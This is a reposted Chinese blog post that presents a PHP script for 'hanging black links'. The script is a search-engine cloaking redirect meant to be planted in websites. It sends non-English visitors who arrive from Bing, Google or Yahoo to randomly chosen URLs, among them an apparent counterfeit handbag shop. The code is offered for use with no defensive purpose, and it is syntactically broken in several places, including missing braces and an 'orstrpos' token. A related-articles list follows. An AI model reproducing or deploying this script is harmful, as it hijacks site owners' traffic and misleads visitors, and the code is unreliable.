php判断浏览器和系统语言通过搜索引擎随机跳转网站-挂黑链

简介:
  1. <?  
  2.    
  3. $language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];  
  4.    
  5. $lang="en";  
  6.    
  7. if ( strpos($language,$lang) == false ){            //如果客户端的浏览器语言不是en的则不跳转  
  8.    
  9. if(isset($_SERVER['HTTP_REFERER'])){                //判断源地址的链接,如果是直接访问网址则不进行跳转  
  10.    
  11. $source = $_SERVER['HTTP_REFERER'];  
  12.    
  13. //echo $source;  
  14.    
  15. else {  
  16.    
  17. $source = '';  
  18.    
  19. }  
  20.    
  21. $urla="bing";  
  22.    
  23. $urlb="com.hk";  
  24.    
  25. $urlc="google";                                          //搜索引擎  
  26.    
  27. $urld="yahoo";  
  28.    
  29. if ( strpos($source,$urlb) == false ){                
  30.    
  31. if (( strpos($source,$urla) == true )orstrpos($source,$urlc) == true )orstrpos($source,$urld) == true ))     //如果源地址是搜索引擎的其中一种  
  32.    
  33. {                                                                                         //则继续判断  
  34.    
  35. error_reporting(7);        //报错等级  
  36.    
  37. $target_url=array();         
  38.    
  39. for($i=0;$i<39;$i++)                                                             
  40.    
  41. {  
  42.    
  43.     $target_url[$i]="http://www.coachbagclearancesite.com";  
  44.    
  45. }  
  46.    
  47. for($i=41;$i<59;$i++)  
  48.    
  49. {  
  50.    
  51.     $target_url[$i]="http://blog.mcshell.org";  
  52.    
  53. }  
  54.    
  55. for($i=60;$i<100;$i++)  
  56.    
  57. {  
  58.    
  59.     $target_url[$i]="http://www.google.com";  
  60.    
  61. }  
  62.    
  63. //print_r($target_url);  
  64.    
  65. //print_r(rand_array($target_url));     //调试代码  
  66.    
  67. function rand_array($arr)  
  68.    
  69. {  
  70.    
  71.     $arr_size=sizeof($arr);  
  72.    
  73.     $tmp_arr=array();  
  74.    
  75.     for($i=0;$i<$arr_size;$i++){  
  76.    
  77.         mt_srand((double) microtime()*1000000);              //制作随机的网址  
  78.    
  79.         $rd=mt_rand(0,$arr_size-1);  
  80.    
  81.         if($tmp_arr[$rd]=="")  
  82.    
  83.         {  
  84.    
  85.             $tmp_arr[$rd]=$arr[$i];  
  86.    
  87.         }  
  88.    
  89.         else 
  90.    
  91.         {  
  92.    
  93.             $i=$i-1;  
  94.    
  95.         }  
  96.    
  97.     }  
  98.    
  99.     return $tmp_arr;  
  100.    
  101. }  
  102.    
  103. $attack_url=rand_array($target_url);  
  104.    
  105. $attackurl="com";  
  106.    
  107. if ( strpos($attack_url[1],$attackurl) == true ){  
  108.    
  109. //最后随机获取的那个链接  
  110.    
  111. Header("Location: $attack_url[1]");  
  112.    
  113. }  
  114.    
  115. }  
  116.    
  117. }  
  118.    
  119. }  
  120.    
  121. ?> 









本文转自 mcshell 51CTO博客,原文链接:http://blog.51cto.com/mcshell/625244,如需转载请自行联系原作者

目录
相关文章
|
26天前
|
存储 缓存 监控
|
3月前
|
存储 安全 PHP
PHP中实现简单身份验证系统的步骤
【8月更文挑战第31天】在构建Web应用程序时,确保用户身份的合法性和数据的安全性是至关重要的。本文将引导你通过使用PHP语言来实现一个简单的身份验证系统,从数据库设计到前端登录界面的创建,再到后端逻辑的处理,我们将一步步地走过整个流程。无论你是PHP新手还是希望复习相关知识,这篇文章都将为你提供清晰的指导和实用的代码示例。
|
8天前
|
JavaScript PHP 数据安全/隐私保护
乞丐在线要饭系统PHP网站源码
在这个物欲横流、竞争激烈的时代,有时候我们真心觉得钱来得太不容易,甚至连最基本的生存都成了负担。于是,我们想出了一个特别“独特”的点子:用利息砸我,给我点施舍!
33 1
ly~
|
24天前
|
存储 安全 前端开发
php文件管理系统
PHP 文件管理系统是基于 PHP 开发的,用于管理文件和文件夹的应用。它支持文件上传、下载、浏览、搜索、编辑和删除,并提供权限管理和安全防护功能。适用于企业内部、网站和个人文件管理,确保文件的安全性、保密性和高效共享。
ly~
21 9
ly~
|
23天前
|
存储 自然语言处理 前端开发
有哪些常见的 PHP 文件管理系统?
elFinder:开源Web文件管理器,支持文件的基本操作及拖放管理,具备多种文件预览、权限管理功能,适用于网站后台文件管理和共享主机环境。 FileRun:多语言、易用的文件管理工具,提供强大的搜索和版本控制功能,支持外部存储集成,适用于企业内部文件共享与协作。 KCFinder:轻量级PHP文件管理器,易于集成,支持文件上传下载限制,与富文本编辑器兼容,适用于博客系统和内容编辑场景。 AjaXplorer:基于Ajax技术的文件管理系统,提供流畅体验和插件扩展,支持文件分类和共享,适用于团队协作和灵活文件分享场景。
ly~
42 1
|
4月前
|
JavaScript 前端开发 开发工具
TypeScript的介绍,let age:number = xxx,可以直接看出数据类型,Type由微软开发,可以在任何浏览器和系统中运行,比较适合大型项目,TypeScript的安装
TypeScript的介绍,let age:number = xxx,可以直接看出数据类型,Type由微软开发,可以在任何浏览器和系统中运行,比较适合大型项目,TypeScript的安装
|
29天前
|
前端开发 JavaScript 小程序
前端uni开发后端用PHP的圈子系统该 如何做源码?
圈子系统系统基于TP6+Uni-app框架开发;客户移动端采用uni-app开发,管理后台TH6开发。系统支持微信公众号端、微信小程序端、H5端、PC端多端账号同步,可快速打包生成APP
|
2月前
|
监控 安全
公司如何监控员工电脑:WebAssembly 语言的浏览器端探索
在数字化办公环境中,公司可能需要对员工电脑进行监控以确保信息安全和工作效率。WebAssembly 作为一种高性能的二进制指令格式,可在浏览器端实现复杂监控功能,如获取浏览器信息和监测网络活动,无需安装额外软件,降低了系统侵入性。然而,公司在实施监控时需遵守法律法规和道德规范,确保员工隐私得到保护,并明确告知监控目的与范围。
51 3
|
1月前
|
前端开发 JavaScript PHP
Thinkphp在线客服系统源码多语言外贸版_PHP客服系统源码Uniapp开发搭建+论文设计
Thinkphp在线客服系统源码多语言外贸版_PHP客服系统源码Uniapp开发搭建+论文设计
|
3月前
|
关系型数据库 MySQL 应用服务中间件
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
这篇文章介绍了如何在Windows 7系统上搭建PHP、MySQL和Apache环境,并部署ECShop项目,包括安装配置步骤、解决常见问题以及使用XAMPP集成环境的替代方案。
54 1
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
下一篇
无影云桌面